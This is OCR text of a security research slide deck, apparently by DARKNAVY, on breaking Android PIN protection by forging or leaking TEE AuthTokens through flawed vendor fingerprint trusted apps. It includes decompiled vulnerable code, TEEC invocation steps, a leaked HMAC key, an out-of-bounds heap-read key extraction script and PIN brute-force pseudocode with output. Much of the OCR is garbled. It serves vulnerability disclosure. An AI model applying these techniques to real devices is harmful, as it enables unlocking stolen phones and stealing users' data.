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01 Background



Why PIN is so important?
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Choose a screen lock

Choose your backup screen lock method
<+ Pattern ¢ Fingerprint - Face
PIN « Fingerprint - Face

»*  Password ¢ Fingerprint « Face

=
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Set up Watch Unlock

Watch Unlock is another convenient way to unlock this
phone, for example, when your fingers are wet or your
face is covered.

You can use your watch to unlock this phone when you:

Swipe up on the lock screen

® O

How It works

@ Your watch can unlock this phone when it's within

N

Multiple unlock methods: PIN / Fingerprint / Face.
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Set a PIN

PIN must be at least 4 digits, but a 6-digit PIN is
recommended for added security
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Collectively referred to as



Why PIN is so important?

(a N

Enter PIN

PIN required for additional security

Emergency

i B

PIN is required after boot
(BFU — AFU)

Face & Fingerprint
Unlock

When you set up Face Unlock and Fingerprint Unlock,
your phone will ask for your fingerprint when you wear a
mask or are in a dark area.

Watch Unlock is another convenient way to unlock your

phone, for example, when your fingers are wet or face
Isn’t recognized.

Ways to unlock

Face Unlock
Tap to set up face

Fingerprint Unlock
Tap to set up fingerprint

Watch Unlock

Tap to set up. Reduces watch battery life.

Theft protection

Use built-in safeguards to protect your personal data if
your device Is stolen

ldentity Check

Use biometrics and other safeguards to verify it’s you.
This adds extra security for sensitive actions.

DARKNAVY

PIN is required for biometric changes and payments.
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Protecting PIN in Android

~10 years ago Introduced TrustZone-based TEE

A

Normal World Secure World

Gatekeeper Face Auth

APP APP APP
ELO KeyMaster FP Auth

User

..tC

Android Kernel
EL1

Kernel

Secure Monitor

EL3
Monitor

Various vulnerabilities
Easy to root
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How did Android protect PIN?

.

Non-Secure World : Secure World

-/- e

Verify result




Authentication — Key Operation

Non-Secure World | Secure World
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AuthToken

1. Key Operations require AuthToken
2. AuthToken protected by HMAC

om= o

Jo
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BFU & AFU

Before-First-Unlock After-First-Unlock

aldxm:/ # ls /data/data
+M7LVAAAAAAQ+KCK5 ) TFT2Gd3VIN/Ni1iOQuO+JunglLvon4pvX09YNsA
+NHysCAAAAAHTWQEFknwdSQ4YwWwWg7,B, g0YahrYWk908MhzPCt8KFD
+R4tGCAAAAQgAbotWXZcuo9qku8rP8cR5X1SumQc2BrsTI9nrGokr@siwo4HjsmiGSkYGOFK16hF
+gawPCAAAAAsSLYQ+uK,4wrIEJrEgrDF8BCsh2adx512rSoyv+wzFB

, IWJ+AAAAAQ9h+B2WF3LnXDnMuyZo41316NZ,VKkiYD8AvhUnF3c8UlwhCRKBItSSi71iavvBo8UP
, AUUODAAAAQIpWbjLQCBzZ91UDzLG56U17Lbg8BAU9Cc LXKOT6PRWAA

, FNNXAAAAAQIMOGaGIsSc5XGTZSeYHbM Lx8eE7TGKOZKTbDzL4jeED

, n"CKWBAAAAQgAbotWXZcuo9gku8rP8cRcpgBGT Lfbey52ERH1IWSMoHAomdD1z lwMXvW8d37wPUP
, LRtmBAAAAAAe9NDD6,QYBT L8ofpYjoGlHOHYbVCcvceNcy4KnhiXfD
08myaDAAAAWELRtt8,+02Qg9eKo2gQvWV2PnrfIWOMJQJ19NHdONT5B
OCKyWDAAAAQB2PkVZXE304xmLFp215t1l
OIcGICAAAAWY9Szq0J221rL98eCMYjRjOmg3GdzuIOCUULgQCc9QH39LSMFAY0o@TmVyP6oUSZzP9E,MyvkS8nFIKFdRuU9BIyeR
ORJNKCAAAAwxU0Y33Vck8jvLyQpVO6KO

OhyxWCAAAAAQsOKz4KZwgMaEZb9lwfc7BCsh2ad Lx512rS6yv+wzFB
OycIhCAAAAQgAbotWXZcuo9gku8rP8cRNEt4dMX64+QhApHRZQBRpXXjK13Z21,Rerh,2PHjA8A
11UeCDAAAAQgAbotWXZcuo9gku8rP8cRI5xc6F1K8aYS0,0gGgIWRtZSh8cnSNNpeVCmwW47xoFP
11bWODAAAAQ9h+B2WF3LNnXDnMuyZo413tUZ6NmU8y rkfN28P4UrBZkqUtR7b8AZVaeA9SKaD8tC(C
1TUVWDAAAAgNV8RGxaHwj 1inunPFRIgmO6YXxjO0vehoOcIQyUx8f2jwC
1KEY3DAAAAgWK5bA1eBJZOmPdefIGAaD3w@inrPrbAZoig,a7YtmOC
1SeqkAAAAAwWKpJIJguNzHof2GbbVf5+rBCsh2ad lx512rS6yv+wzFB
1Z7JGbCAAAAWG8KeYznouM3LXcOVIGSmg2XyS4e0R,YpjU1js6BRo8D
ImiEEAAAAAQgAbotWXZcuo9gku8rP8cReb, EJ3QEwe L7K7HQx80p LLUMVXMLtcBsLOhsjd1zPyH

~AANATITMN AAARANA . _IF_I70r. _VINJAMNDMNN _ N~ \.I\N/VO . ™ . FHh7.. . .. Nl_al. _rmmnrmr ™

* Android lacks a multi-tier key hierarchy

» Many active background services
 Other unlock methods enabled

* Root = full user-data access

CE keys are protected by KeyMaster.
Key operation Is necessary.
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What 1s an AuthToken?

AuthToken

what when

Version .
o | challenge EEEEEEEE
- userld ........ Verify user info
=] authenticatorld
C_DI authenticatortype ====.... verily server info
c?B_ timestamp ........ Generate time
N AuthToker EEEEEEEEEEEEEEE.

HMAG ENEEEEEEEEEEEEEE
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The Authloken

AuthToken

hw auth token: 0x45 bytes

T challenge | userd
| authenticatorid SRR
S

timestamp

AuthToken HMAC
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AuthTokens between PIN / Face / FP Auth

| challenge |  userld

| authenticatorld | 0 |
Generate by gatekeeper TA ooi2ms |
HMAC SHA256

- [_challenge
. authenticatorld --
o oessT

HMAC SHA256

| challenge
| authenticatorld T4

Fingerprint  Generate by fingerprint auth TA
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How AuthToken used in Android?

PIN / Pattern / Password

2. Request
Fingerprintd / faced

2. Reque

5. Pass AT 5. Pass AT

AuthToken
Non-Secure World

Secure World
4 1Generate AT

4. Generate AT

Key operatipns

1. Setup

.Verify<—[ Master key
Bio Auth TA Sensor
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PIN Related Keys

Secure World

Possible targets include the PIN and its associated keys.
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Brute-force PIN?

32-bytes

Normally 6-digits

32-bytes
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Throttle 1s the core

m—> Scrypt Throttle in gatekeeper TA

1f (gk_check_throttle(fatlure_record) != 0) goto sec_delay;

1t (gk_inc_fatils(fatlure_record) !'= 0) goto error;

Non-Secure World if (gk_verify_hndl(input_handle, enrolled _handle) != 0) {

goto error;
Secure World } else {

gk_clear_throttle(fatilure_record);
return 0;

Master key :
throttle

Gatekeeper throttles brute-force How to bypass gatekeeper?
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Past attack methods

1. BootROM exploit & patch bootchain w
Normal World  Secure World

APP
Framework

T KeyMint

Gatekeep‘

Android Kernel

I ‘
EL3
BootROM ﬂ Preloader Secure Monitor ‘
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Past attack methods

1. BootROM exploit & patch bootchain

2. LK/Kernel exploit & attack secure monitor Normal World ~ Secure World

APP | ‘atekeep‘

Framework |

Ei LK ﬁ Android Kernel

BootROM Preloader —»‘ Secure Monitor

&
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Past attack methods

1. BootROM exploit & patch bootchain
2. LK/Kernel exploit & attack secure monitor

Normal World Secure World

|

APP | ‘atekeep‘
|
. |

Framework

&

Android Kernel

&

BootROM Preloader Secure Monitor




02 Our Findings
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What’s interesting in AT life cycle

PIN / Pattern / Password

2. Request
Fingerprintd / faced

2. Reque

5. Pass AT 5. Pass AT

AuthToken
Non-Secure World

Secure World
4 1Generate AT

4. Generate AT

Key operatipns

1. Setup

.Verify<—[ Master key
Bio Auth TA Sensor
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What’s interesting in AT life cycle

PIN / Pattern / Password

2. Request
Fingerprintd / faced

2. Reque

5. Pass AT 5. Pass AT

AuthToken

Non-Secure World —_

Secure World

4 1Generate AT 4. Generate AT

Key operatibns

e E—

1. Setup 1. Setup

&
e BEY

.Verify<—[ Master key
Bio Auth TA Sensor

-
N

AuthToken gains permissions
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Gatekeeper AT vs BioAuth AT

o challenge userld B challenge userld
| authenticatorld [T | authenticatorld [T
e B

HMAC SHA256 HMAC SHA256

HMAC key

Different fields, same HMAC key
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First l1dea

AuthToken
Gatekeeper TA KeyMint TA

Gatekeeper AuthToken represents PIN verification results.

Validated AuthToken = authentication bypass.
The Bio Auth TA can also generate validated AuthTokens.

But, how to forge a validated AuthToken from Bio Auth TA?
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Gen AuthToken in Bio Auth TA

Challenges:
1. It seems that the generation of bio AuthTokens also requires bio auth.

2. AuthToken uses authenticator id and authenticator type fields to show who created it.
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Chaos in Bio Auth TA

1 1 1§ Gs

Framework

» HAL specs from Google are unclear.

* OEMs are required to comply with Android API
calls, platform interfaces, and sensor vendor

Platform constraints.

. * |Implementation is inconsistent across OEMSs.
Peripheral
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We Investigated ...

We found:
» Significant variation in Bio Auth TA implementation across OEMs

» Differences across chipsets, models, and sensor vendors

from

&

* Mainly ; @ few Exynos and Unisoc

Implementation



ollect TAs

1. Identify bio auth TA

ad5s:/ # find /vendor/ | grep biometrics

/vendor/bin/hw/android. hardware.biometrics.face@?.0-service
/vendor/bin/hw/android.hardware.biometrics.fingerprint@2.1-service
/vendor/etc/ini1t/android. hardware.biometrics. face@Z.9-service.rc

/vendor/etc/1in1t/android. hardware.biometrics.fingerprint@2.1l-service.rc

/vendor/etc/permissions/android.hardware.biometrics. face.xml

/vendor/etc/vintf/manifest/android.hardware.biometrics. fingerprint@Z.1l-service.xml
/vendor/
/vendor/1
/vendor/1
/vendor/1
/vendor/1
/vendor/1
/vendor/1
/vendor/1

1

b/android.hardware.biometrics.common-VZ2-ndk. so
n/android.hardware.biometrics. face-VZ2-ndk. so
b/hw/android.hardware.biometrics.face@Z.0-1mpl.so
po4/android. hardware.biometrics.common-VZ2-ndk. so
p64/android. hardware.biometrics. face-VZ2-ndk. so
po4/android.hardware.biometrics.fingerprint@Z2.1.so
nod/hw/android.hardware.biometrics. face@Z.0-1mpl.so

no4/11bvendor.goodix.hardware.biometrics.fingerprint@2.1.so

DARKNAVY

2. Extract bio auth TA from firmware

ad5s:/ # 1s /vendor/firmware_mnt/image/ | grep fp

SAMSUNG
EXynos

fp_lc_c.b0@0d
fp_lc_c.b0dl
fp_lc_c.b@2
fp_lc_c.b@3
fp_lc_c.bd4
fp_lc_c.b@5
fp_lc_c.b@6
fp_lc_c.b@7
fp_lc_c.mdt

manaus:/ # ls /vendor/app/mcRegistry/

02010000000000000000000000000000 .
02010000000000000000000000000000 .
031c0000000000000000000000000000 .
031c0000000000000000000000000000 .
05060000000000000000000000000000 .
05070000000000000000000000000000 .
05070000000000000000000000000000 .
05120000000000000000000000000001 .
05120000000000000000000000000001 .
06090000000000000000000000000000 .
06090000000000000000000000000000 .
07010000000000000000000000000000 .
0706000000000000000000000000004d .
07061000000000000000000000000000 .
07150000000000000000000000000000 .
07150000000000000000000000000000 .

Infinix-X6528:/ $ 1s /vendor/firmware/
Conf_MultipleTest.in1
PortraitSegHP.mnn
PortraitSeglLP.mnn

drbin
tlbin
drbin
tlbin
tabin
drbin
tlbin
drbin
tlbin
drbin
tlbin
tlbin
tlbin
tlbin
drbin
tlbin

fakeserial_sec_bk

focaltech_ts_fw.bin
fpctzapp.elf
X6528_ICNL9916AC_TXD_fw.bin fsmaudio_params.bin

07170000000000000000000000000000 .
07170000000000000000000000000000 .
08030000000000000000V0VVVRVAVAAQ .
08040000000000000000000000003419.
08050000000000000000000000003419.
08050000000000000000000000003419.
08080000VAVRVVVVRVAVRVRVVAVAVAAY .
081100000000000000P0VVVVVRVAVAAQ .
40188311faf343488db888ad3949619a.
40188311faf343488db888ad3949619a.
5020170115e016302017012521300000 .
5020170115e016302017012521300000 .
ob3f5fadf8cf55a7be2582587d62d63a.
abcd270ea5c44c58bcd3384a2fa’2539%e.
e97c270ea5c44c58bcd3384a2fal539%e.
ffffffffo00000000000000000000003 .

hdcp.elf regulatory.
hdl_firmware_00.1img regulatory.

drbin
tlbin
tabin
tabin
drbin
tlbin
tlbin
tabin
drbin
tlbin
drbin
tlbin
drbin
tabin
tabin
tabin

db
db.p7s

hdl_firmware_02.img s5kjn1_1858

h13231g_1884

X6528_ft8722_TXD_fw.b1in fsmaudio_params_fast.bin hi132319_1884_bk silead.elf
faceid.elf fsmaudio_params_voip.bin hi5022q9_1859 soter.elf
fakeserial gc32el_1856 h15022q_1859_bk tsx_data

fakeserial_bk

gc32el_1856_bk

fakeserial_sec gesture.mnn

novatek_ts_fw.bin
novatek_ts_mp.bin

TA encrypted

s5kjn1_1858_bk
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Bio Auth Workflow

Non-specific standards; varying implementations

Enroliment Authentication Deletion

TZ CMD ENROLL PREPARE TZ CMD IDENTIFY INIT TZ CMD DELETE PREPARE

AuthToken
TZ CMD ENROLL INIT

TZ CMD IDENTIFY DO

TZ CMD _IDENTIFY_FINAL TZ CMD _DELETE_OP

TZ CMD ENROLL DO

TZ CMD ENROLL FINAL
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Bio Auth TA Analysis Findings

Face Auth TA:
o Different across OEMs
o Similar across devices from the same OEMs

Mainly implemented by
smartphone manufacturers

Fingerprint Auth TA.
e Varies across OEMs

e Devices with the same sensor vendor show
similar implementation

Implemented by manufacturers
using sensor vendor code

¢ Decompule: sec_fr_generate_challenge - (ZFold6_sec_froin) ¢ Decompile sec_fr_generste_challenge - sec_frbin)

Qualcomm & MTK: IPC and other features vary (HMAC
sharing)

Multiple FP recognition solutions: ultrasonic, optical, and
capacitive

Face AUth TA | Samsung Galaxy Z Fold6 Samsung Galaxy S23 “ Samsung Galaxy Alb5




DARKNAVY

Link between FP TA and sensors

Samsung

MTK A146P
MTK E156B
MTK A156U
EXxynos A5160
EXynos AS5560

Qualcomm AO057G

Qualcomm S23

Qualcomm C550

00000000-5769-4e67-544b-464e53696c65
00000000-5769-4e67-544b-464e4 7667063
00000000-5769-4e67-544b-464e43686970
00000000-0000-0000-0000-46494e4 74502
00000000-0000-0000-0000-46494e4 74502
00000000-0000-0000-0000-46494e4 74552
00000000-0000-0000-0000-46494e4 74552
fp lc c.elf

fp Ic f.elf

fp lc g.elf

securefp

fingerpr

goodixfpo4

ancapo4

securefp

fingerpr

GSL

FPC

TCI
Samsung+EGIS
Samsung+EGIS
Samsung+EGIS
Samsung+EGIS
TCI

FPC

Goodix
Samsung+Qualcomm
Qualcomm
Goodix

ANC
Samsung+Goodix
Qualcomm
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Potential Issues In Bio Auth TAs

Multiple FP TAs coexist on a device
 Each TA can generate validated AuthTokens

Direct wrapper over sensor vendor APIs:
 [nternal interfaces exposed

ad5s:/ # 1s /vendor/firmware_mnt/image/fp*

/vendor/firmware_mnt/image/fp_lc_c.b@0d
/vendor/firmware_mnt/image/fp_lc_c.b0dl
/vendor/firmware_mnt/image/fp_lc_c.bd2
/vendor/firmware_mnt/image/fp_lc_c.b@3
/vendor/firmware_mnt/image/fp_lc_c.bd4
/vendor/firmware_mnt/image/fp_lc_c.b@5
/vendor/firmware_mnt/image/fp_lc_c.bdo
/vendor/firmware_mnt/image/fp_lc_c.b@7

/vendor/firmware_mnt/image/fp_lc_f.b00d
/vendor/firmware_mnt/image/fp_lc_f.b01l
/vendor/firmware_mnt/image/fp_lc_f.b0d2
/vendor/firmware_mnt/image/fp_lc_f.b@3
/vendor/firmware_mnt/image/fp_lc_f.b04
/vendor/firmware_mnt/image/fp_lc_f.b@5
/vendor/firmware_mnt/image/fp_lc_f.b0o6
/vendor/firmware_mnt/image/fp_lc_f.b@7

/vendor/firmware_mnt/image/fp_lc_g.b0od
/vendor/firmware_mnt/image/fp_lc_g.b0dl
/vendor/firmware_mnt/image/fp_lc_g.bd2
/vendor/firmware_mnt/image/fp_lc_g.b@d3
/vendor/firmware_mnt/image/fp_lc_g.b0d4
/vendor/firmware_mnt/image/fp_lc_g.b@5
/vendor/firmware_mnt/image/fp_lc_g.bdo
/vendor/firmware_mnt/image/fp_lc_g.b@7

> 50 handlers

/vendor/firmware_mnt/image/fp_lc_c.mdt /vendor/firmware_mnt/image/fp_lc_f.mdt /vendor/firmware_mnt/image/fp_lc_g.mdt

3 different FP TAs in Samsung AO5s

Complex Bio Auth TA Custom implementations
» Large codebase, board attack surface » Lack of a unified standard

+ Template update, Tl = MGET_AUTH_0BJ"; » Debug interfaces left
recognition refinement, » Log sensitive information

break;
large bufter transfer...  Various unexpected/odd features

case 0x19u:
= "UPDATE CFG"™;
break;
case 0Ox1Au:
= "INIT2";

break:
case Ax1BRu:
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Obtain a validated AuthToken?

Chaos in Bio Auth TA  AUTH OBJ API exposed

Many ways to acquire a validated * AUTH RES APl exposed

gatekeeper AuthToken,
 OOB READ - Memory Corruption

or to make the KeyMint believe we
have one.

 HMAC KEY Leak



03 Authloken
Exploitations
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Fingerprint Auth Software Arch

_= =

Hardware
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TA Call Sequence & GET AUTH OBJ

CHK ESD int64 get auth obj( int64 buffer, int size)
{
~lr 1T (si1ize !'= 69 || buffer 0)
CAPTURE IMG return generate hmac(0);

vd = sub 4D530();

(Capture the Fingerprint Image)

1 (lvd && dword 1F30EC)
1 1t (dword 1F360ES)
*(butfer + 9) = sub 4F408 (dword 1F30E3) ;
J
(Return the Auth Result) vo = fp util get time()
* (buffer + 29) = v5;
1 * (butfer + 29) = sub D180 (vd);
AUTH STEP return generate hmac (buffer);

}

(Compare with the enroliment)

!

AUTH END
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Call GET AUTH OBJ

Invoking TA: GET AUTH OBJ TEEC InitializeContext (NULL, ctx);
Invoking TA Result: 0x0 TEEC OpenSession(ctx,..);

Final AuthToken: TEEC InvokeCommand (sess,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, Ox00, 0x00, I CMD GET AUTH OBRJ + 1

0x00, Ox0b, Ox0b, Ox3a, 0Oxcd, Ox6c, 0x9c, Oxeo, sop, &err origin);
0x83, 0x00, Ox00, 0x00, 0x00, Ox00, 0x00, 0x00, ' — '
0x00, 0x00, Ox00, 0x00, 0x01, Ox00, 0x00, 0x00,
0x00, 0x00, 0x34, Oxab, OxfO, Oxe8, Oxb4, 0x11,
0x9b, 0x60, 0x56, 0xa9, Ox5f, Ox1f, 0x14, Ox4d,

External developers can communicate with the TA by

Oxe2, Oxbd, Ox7f, 0x35, Oxc0, Oxec, 0xc9, Oxa1, loading the relevant libraries.

0x69, 0x95, Oxd7, Ox67, 0x12, Oxdc, Ox/77, Oxd8,

0xd3, 0x35, 0x57, Oxff, 0x58 1. Invoke the TEEC library APls to create a session.
Version=0x00 2. Invoke the fingerprint TA's GET AUTH OBJ
Challenge=0x0000000000000000

Userld=0x0BOB3AC86CICE683 command.

Authenticatorld=0x0000000000000000
AuthenticatorType=0x00000001 (FINGERPRINT)
Timestamp=0x000000000034ABFO

3. Parse the AuthToken from the response.
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How to use leaked AuthToken

Secure World

GateKeeper TA

!

hmac(current)==pwd

<A—Uth?°ki sign_AuthToken

Authloken

SyntheticPassword

E ¢ mterﬁvediate
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How to use leaked AuthToken

Normal World

. i

Secure World

1nt verify hw token(const void *token) {

uint8 t key[KM AUTHTOKENKEY LEN];
< _ GateKeeper TA uint8 t output[KM AUTHTOKENKEY LEN];
¢ const hw auth token t *t = token;
uint32 t len = sizeof (*t) - sizeof (t->hmac);
hmac(current)==pwd void *ret;
1t (tz get key ex(key, KEY TYPE AUTHTOKEN) ) {
¢ LOGE ("Cannot get HMAC key Error");
cAuthloken.  gign AuthToken return =1

}
ret = HMAC (EVP shaZ2506 (),

key, sizeof (key),
t, len, output, &len);
return CRYPTO memcmp (t->hmac,
output,
s1izeof (t—->hmac)) ;

Auth loken

SyntheticPassword

E 5mmeMMe
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How to use leaked AuthToken

Secure World Normal Secure World

< i s . Y "‘ -
AV W &' ,l,»’:l B W
L\ p
. ‘ P
aJililidl

. i

<— /datal.../<handle>pwd

Fingerprint TA
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Keymaste

GateKeeper TA

!

hmac(current)==pwd

M sign_AuthToken

AES_decrypt(spblob)

SyntheticPassword Pintermediate L
— decrypt(spblob)
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AuthToken -> ?

Normal World 5 Secure World

—User Input Credentials s :
<« :
_ _ : T _

hmac(current)==pwd

!

<Adnloken. — sign_AuthToken unwrapPasswordBlob uses
Auth loken the output of decrypt(spblob)
to derive the credential-
encryption key.

®

SyntheticPassword
€T

e E————
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AuthToken -> ?

. Secure World SyntheticPassword = decrypt (

E blob = 1ntermediate,

E key = ProtectorSecret,

5 mode = AES GCM

; )

: GateKeeper TA

; hmac(current)==pwd unwrapPasswordBlob is essentially an
putholer I AES decryption operation.

Authloken

? . The ciphertext (intermediate)

by an attacker.

7.
[

Syn i‘hii cPassword mediate
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unwrapPasswordBlob

Normal World Secure World SyntheticPassword = decrypt (
E blob = 1ntermediate,
—User Input Credentials s key = ProtectorSecret,
i mode = AES GCM
< i )
5 hmac(current)==pwd unwrapPasswordBlob is essentially an

AuthI:oke,, ! AES decryption operation.

sign_AuthToken

Authloken

? . The ciphertext (intermediate)

by an attacker.

SyntheticPassword mterediate
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ProtectorSecret Generation

Normal World Secure World Path PASSWORD_PATH =

"/data/system de/<uid>/spblob/<handle>.pwd"
Path SECDIS PATH =

"/data/system de/<uid>/spblob/<handle>.sedis"
byte[] pwd = loadState (PASSWORD PATH) ;

byte[] stretchedLskf = scrypt (credential,
byte[] sediscardable = loadState (SECDIS PATH);
GateKeeper TA byte[] protectorSecret = transformSecdis (
¢ stretchedLskt,

sedlscardable) ;
hmac(current)==pwd

: pwd) ;

M sign_AuthToken

Authloken

SyntheticPassword

i ”m%ﬁaﬂme
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AES_GCM

Normal World | Secure World SyntheticPassword = decrypt (
i blob = 1ntermediate,
E key = ProtectorSecret,
5 mode = AES GCM
§ )
:
i  *~~ 

Plaintext 1 7

Authloken =

Authloken
|
|
|
|
|
|
|
“rorecio i
i Auth Data 1
i
il
|
|
SyntheticPassword ntermediate
€C—1———

Auth Tag
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PIN Brute-Force

function recover credentilal () : +] Begin!!!
AuthToken = request auth token() [+} Start to dump files
intermedlate = build 1Inter (AuthToken, pwdfilile) [+] Dump files successfully!!
cred candidate credentials: [+] Start to dump intermediate
ProtectorSecret = derive ProtectorSecret (cred) [+] Dump intermediate successfully
, [+] Start to bruteforcing PIN
plaintext = decrypt ( [+] 0/1000000
key=ProtectorSecret, [+] Found

+] PIN: 000000 &

clphertext=1ntermediate,
mode=AES GCM

AuthTagMismatchError:

cred



DARKNAVY
Any Other?

e The vulnerable ingerprint TA

Android Framework  provided by Silead (FPC).

_____________ l_______________

Android HIDL

Other devices using Silead (FPC)

may have similar issues.

Hardware
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Same Cases
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GET AUTH RESULT But Limited

switch (cmdId)

case 4:
gsee log("beglin to create HMAC. get auth result ");
v4dl = st read from file("userId", &v>b9, 8u);
However. the obtained AuthToken vd8 = st read from file("userIdId.bak", &v>9, 38u);
uptilme = gsee get uptime (v4z);
has limitations: several critical auth id = face get auth id(&ve6l);
_ memcpy (req buf + 0x110, &v49, 69);
fields are not controllable v54 = face hmac sha256(req buf + 0x110,
-type UxZ25u, &unk 14445,
Ux20u, req buf + 309);
* userld * (req buf + 8) = v29;

. return result;
* timestamp
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AuthToken Validation

Secure World . . L
N Biometric authentication does not take

part in deriving the CE key.

GateKeeper TA Therefore, during CE key derivation,
! Keymaster should not accept
hmaC(cuTnt):pw AuthTokens from fingerprint or face
A ol authentication to decrypt the spblob.

SyntheticPassword

i mterﬁvediate
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AuthToken Validation

Normal World : Secure World . . L
! Biometric authentication does not take

——Userlnout Credentials —s § part in deriving the CE key.
— i
«  /datal../<handlespwd  —T-

GateKeeper TA Therefore, during CE key derivation,
! Keymaster should not accept
. hmaC(curIm):pw AuthTokens from fingerprint or face
AR sign AuthToken authentication to decrypt the spblob.

AuthTokan(Type 2

But is that really the case?

SyntheticPassword intermediate

e E————
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AuthToken Validation

Normal World 5 Secure World

EPI— a
——
< fdatal../chandie>-pwd —

GateKeeper TA

!

hmac(current)==pwd

M sign_AuthToken

AuthTokean(Type 2

SyntheticPassword

E E mterr;vediate
]
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Next Target

1nt gsee hmac (
int alg,

The AuthToken is signed with the HMAC key to const void *msg,

 —

size tmsg len,
const void *key,
size t key len,
volid *mac out

protect its confidentiality and inteqgrity.

If we obtain the HMAC key, we can mint ) s

-

arbitrary AuthToken. &

1ntod arcsoft fpgsee generate hmac( i1nto4d al,
1nt8 *al)

vZ2 = a2 + 37;
memset (a2 + 37, 0, 0x20u);
gsee hmac (2, az2, 0xZ25u,
(al 56), 0x20u, v2);




DARKNAVY

Next Target

1nt gsee hmac (
int alg,

The AuthToken is signed with the HMAC key to const void *msg,

size tmsg len,
const void *key,
size t key len,
volid *mac out

protect its confidentiality and integrity.

If we obtain the HMAC key, we can mint ) »
arbitrary AuthToken. &

1ntod arcsoft fpgsee generate hmac( i1nto4d al,
1ntd8 *a2l)

vZ2 = a2 + 37;
memset (a2 + 3/, 0, 0xZ20u);
return gsee hmac (2, a2z, 0x2Z2ou,
(al bo), 0xZ20u, v2):;
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Print the HMAC Key

1nto4 validate incoming token( 1into4d al)

{

vV 0

fp hmac sha256 (authtoken, 37, hmac key, 32, v13);

v8 = 0; Validate the incoming AuthToken
for (3 = 0; 73 !'= 32; ++73 )

v1i0 = v13[7]];
vll = *(&off 18EE40 + 3 + 69);

v8 |= (v11l 7~ v10);
}
if ( v3 )
{
log internal(l, "fp ta hw auth.c s HMAC doesn't match", "validate incoming token");
fcr_( k = 0; k I= 35; I+k_) - -
{
L,

@)

"fp ta hw auth.c %s ta->hmac key[&d]: 2d, ",
"valldate i1ncoming token",

K,

*(&off 138EE40 + k + 101));

log internal(l, "fp ta hw auth.c %s hmacl[3sd]: <sd, ", "validate 1ncoming token", k, v13[k]);
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Print the HMAC Key

fpCore TA[ERR] fp_ta hw_ auth.c validate incoming token HMAC doesn't match

fpCore TA[ERR] fp_ta hw_auth.c validate incoming token incoming token:hmac]|0]: 122,
fpCore TA[ERR] fp_ta hw_auth.c validate incoming token ta->hmac_key[0]: 54,
fpCoreTA[ERR] fp _ta hw auth.c validate incoming token hmac]0]: 243,

fpCore TA[ERR] fp_ta hw_auth.c validate incoming token incoming token:hmac[1]: 177,
fpCore TA[ERR] fp_ta hw_auth.c validate incoming token ta->hmac_key[1]: 75,
fpCoreTAI[ERR] fp _ta hw auth.c validate incoming token hmac]1]: 31,

fpCore TA[ERR] fp_ta hw_auth.c validate incoming token incoming token:hmac|2]: 178,
fpCore TA[ERR] fp_ta hw_auth.c validate incoming token ta->hmac_key[2]: 130,
fpCoreTAI[ERR] fp_ta hw auth.c validate incoming token hmacl2]: 29,

Final HMACKEY:
0x36, Ox4b, 0x82, Oxed, Oxff, Ox7e, Oxd2, 0xa0, 0x76, Oxb4, 0x8d, 0x42, 0x51, 0x27, 0xO0f, 0x88, \@1’}’
Oxaa, Oxc7, 0xe9, 0x96, 0x2d, 0x5f, 0x98, 0x90, 0x31, Oxda, 0x28, 0xf6, 0x91, Ox8c, Oxbs, Ox2d
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AuthToken HMAC Key

1nto4 tz app cmd handler (const void *al, 1nt a2, const void *a3,

. 1ntod tz app 1nit ()

{ int a4)
const char *Version; // x0 {
result = g hFP;
Version = ARC FP GetVersion () ; 1t ( g_hFP )
g hFP = ARC FP Init (0xEu); {
return O:; v9 = ARC FP Process (g hFP, al, a2z, a3, a4);

) }

return result;

unsigned  1ntd8* ARC FP Init (unsigned 1int al) 1f ( cmdId == 0x4001 )
{ {
*off C441E8 = AlgoBaselInit (vl4); result = arcsoft fpgsee set hmac key(

g_hFP_pEr, send_bu?, share memory 1);

—

vZ2 = arcsoft fpgsee alloc mem (968, "ARC FP Init", 83); }

V4 = OICL 7

arcsoft fpgsee read config file(v2); - 1nto4d arcsoft fpgsee set hmac key( 1nteod4d al, 1ntod a2)
arcsoft fpgsee read otp(vZ, &vl2Z, 32); {

memcpy (off C441CO[0], &v12Z + 3, 9); vlil = (al + 88);

memset (vlb, 0, sizeof(vlbd));
ArcGenModuleVeriCode (&v12, 28, &vll); vl2 = gsee decapsulate inter app message( v15, v10 - 4,

2resott_tpasee_generate_image id(ve) s setthe hmac key in g_hFP +88 ontheheap ~'7 |77 /1 e 0
return v2: ] ]

vlil - 8, vl11l);

} return v13;
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Out-of-bounds Heap Read

DARKNAVY

1nto4d arcsoft fpgsee get factory test result( 1intod4 cmdId,
1nto4 share memory buffer)
{
CEnterLeave: :CEnterLeave(v/, "arcsoft fpgsee get factory test result");
vo = 0;
vo = 0,
v3 = arcsoft fpgsee load file ex("arcfp fac setting.bin");
( !'v3 )

P

memcpy (butfer+ *(share memory buffer + 20),
vo + *(share memory buffer + 127),
* (share memory buffer + 10));

CEnterlLeave: :~CEnterlLeave (v/) ;
V3

B

Using the heap out-of-bounds read primitive, we can dump the entire TA heap.

But where is the AuthToken HMAC key?
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Out-of-bounds Heap Read

int64 tz app init () 1nto4 tz app cmd handler (const void *al, 1nt a2, const void *a3,

{ int a4)
const char *Version; // x0 {
result = g hFP;
Version = ARC FP GetVersion () ; 1t ( g_hFP )
g hFP = ARC FP Init (0xEu); {
return O:; v9 = ARC FP Process (g hFP, al, a2z, a3, a4);

) }

return result;

unsigned  1ntd8* ARC FP Init (unsigned 1int al) 1f ( cmdId == 0x4001 )
{ {
*off C441E8 = AlgoBaselInit (vl4); result = arcsoft fpgsee set hmac key(

g_hFP_pEr, send_bu?, share memory 1);

—

vZ2 = arcsoft fpgsee alloc mem (968, "ARC FP Init", 83); }

V4 = OICL 7

arcsoft fpgsee read config file(v2); - 1nto4d arcsoft fpgsee set hmac key( 1nteod4d al, 1ntod a2)
arcsoft fpgsee read otp(vZ, &vl2Z, 32); {

memcpy (off C441CO[0], &v12Z + 3, 9); vlil = (al + 88);

memset (vlb, 0, sizeof(vlbd));
ArcGenModuleVeriCode (&v12, 28, &vll); vl2 = gsee decapsulate inter app message( v15, v10 - 4,

2resott_tpasee_generate_image id(ve) s setthe hmac key in g_hFP +88 ontheheap ~'7 |77 /1 e 0
return v2: ] ]

vlil - 8, v11l);

} return v13;
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Out-of-bounds Heap Read

with open("./files/dump heap.bin", "rb") as f: 1. Trigger the vulnerability to dump the fingerprint TA's
data = f.read /()

str pos = find string 1n bytes(data, "ARC FP Init") [0] heap memaory.

key pos = str pos - 0Ux3as . .

hmac key = datalkey pos:key pos+32] "

print (f"[+] Find HMAC Key: {hexdump. dump (hmac key) }") pOSItIOn ot the HMAC key'

